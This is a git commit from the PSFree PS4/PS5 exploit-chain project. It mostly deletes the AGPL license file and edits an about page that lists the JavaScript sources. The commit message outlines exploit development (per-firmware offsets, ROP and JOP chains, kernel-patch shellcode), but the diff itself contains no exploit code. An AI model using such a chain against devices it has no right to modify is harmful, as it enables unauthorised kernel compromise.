Prep for multi-fw and publishing on GitHub
### Added - `.gitignore` for kpatch output - Auto detect console type and firmware in `config.mjs` - Used elsewhere to determine which offsets/patches/ROP chain are used - WIP: Add 8.50-9.60 support - All offsets found - Running into some issue here. Wiped out my JOP chains to redo them... ### Fixed - Call `lapse.mjs` rather than `code.mjs` - Makefile for kpatch builds all currently available ### Changed - Use relative locations rather than absolute - Changed kpatch binaries to just be shellcode vs full ELFs - 5,216 bytes to 257 bytes. - Build kpatch binaries with `-Os` rather than `-O` - 257 bytes to 233 bytes. - Renamed/Formatted `CHANGELOG.md`, `README.md`, and `LICENSE`
This commit is contained in:
661
src/COPYING
661
src/COPYING
@@ -1,661 +0,0 @@
|
||||
GNU AFFERO GENERAL PUBLIC LICENSE
|
||||
Version 3, 19 November 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU Affero General Public License is a free, copyleft license for
|
||||
software and other kinds of works, specifically designed to ensure
|
||||
cooperation with the community in the case of network server software.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
our General Public Licenses are intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
Developers that use our General Public Licenses protect your rights
|
||||
with two steps: (1) assert copyright on the software, and (2) offer
|
||||
you this License which gives you legal permission to copy, distribute
|
||||
and/or modify the software.
|
||||
|
||||
A secondary benefit of defending all users' freedom is that
|
||||
improvements made in alternate versions of the program, if they
|
||||
receive widespread use, become available for other developers to
|
||||
incorporate. Many developers of free software are heartened and
|
||||
encouraged by the resulting cooperation. However, in the case of
|
||||
software used on network servers, this result may fail to come about.
|
||||
The GNU General Public License permits making a modified version and
|
||||
letting the public access it on a server without ever releasing its
|
||||
source code to the public.
|
||||
|
||||
The GNU Affero General Public License is designed specifically to
|
||||
ensure that, in such cases, the modified source code becomes available
|
||||
to the community. It requires the operator of a network server to
|
||||
provide the source code of the modified version running there to the
|
||||
users of that server. Therefore, public use of a modified version, on
|
||||
a publicly accessible server, gives the public access to the source
|
||||
code of the modified version.
|
||||
|
||||
An older license, called the Affero General Public License and
|
||||
published by Affero, was designed to accomplish similar goals. This is
|
||||
a different license, not a version of the Affero GPL, but Affero has
|
||||
released a new version of the Affero GPL which permits relicensing under
|
||||
this license.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU Affero General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Remote Network Interaction; Use with the GNU General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, if you modify the
|
||||
Program, your modified version must prominently offer all users
|
||||
interacting with it remotely through a computer network (if your version
|
||||
supports such interaction) an opportunity to receive the Corresponding
|
||||
Source of your version by providing access to the Corresponding Source
|
||||
from a network server at no charge, through some standard or customary
|
||||
means of facilitating copying of software. This Corresponding Source
|
||||
shall include the Corresponding Source for any work covered by version 3
|
||||
of the GNU General Public License that is incorporated pursuant to the
|
||||
following paragraph.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the work with which it is combined will remain governed by version
|
||||
3 of the GNU General Public License.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU Affero General Public License from time to time. Such new versions
|
||||
will be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU Affero General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU Affero General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU Affero General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If your software can interact with users remotely through a computer
|
||||
network, you should also make sure that it provides a way for users to
|
||||
get its source. For example, if your program is a web application, its
|
||||
interface could display a "Source" link that leads users to an archive
|
||||
of the code. There are many ways you could offer source, and different
|
||||
solutions will be better for different programs; see section 13 for the
|
||||
specific requirements.
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU AGPL, see
|
||||
<https://www.gnu.org/licenses/>.
|
||||
@@ -22,8 +22,7 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
</head>
|
||||
<body>
|
||||
PSFree is an exploit chain for PS4 and PS5.<br>
|
||||
PSFree is free software. See <a href='./COPYING'>COPYING</a> for the copyleft information.<br>
|
||||
PSFree's license is GNU-AGPL-3.0-or-later.<br>
|
||||
PSFree is free software. PSFree's license is GNU-AGPL-3.0-or-later.<br>
|
||||
Here is the source code of this program:<br>
|
||||
<br>
|
||||
HTML files:<br>
|
||||
@@ -31,11 +30,6 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
<a href='./about.html' download>about.html</a><br>
|
||||
JavaScript files:<br>
|
||||
<table id="jslicense-labels1">
|
||||
<tr>
|
||||
<td><a href="./psfree.mjs">psfree.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./psfree.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./alert.mjs">alert.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
@@ -46,20 +40,50 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./config.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./lapse.mjs">lapse.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./lapse.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./psfree.mjs">psfree.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
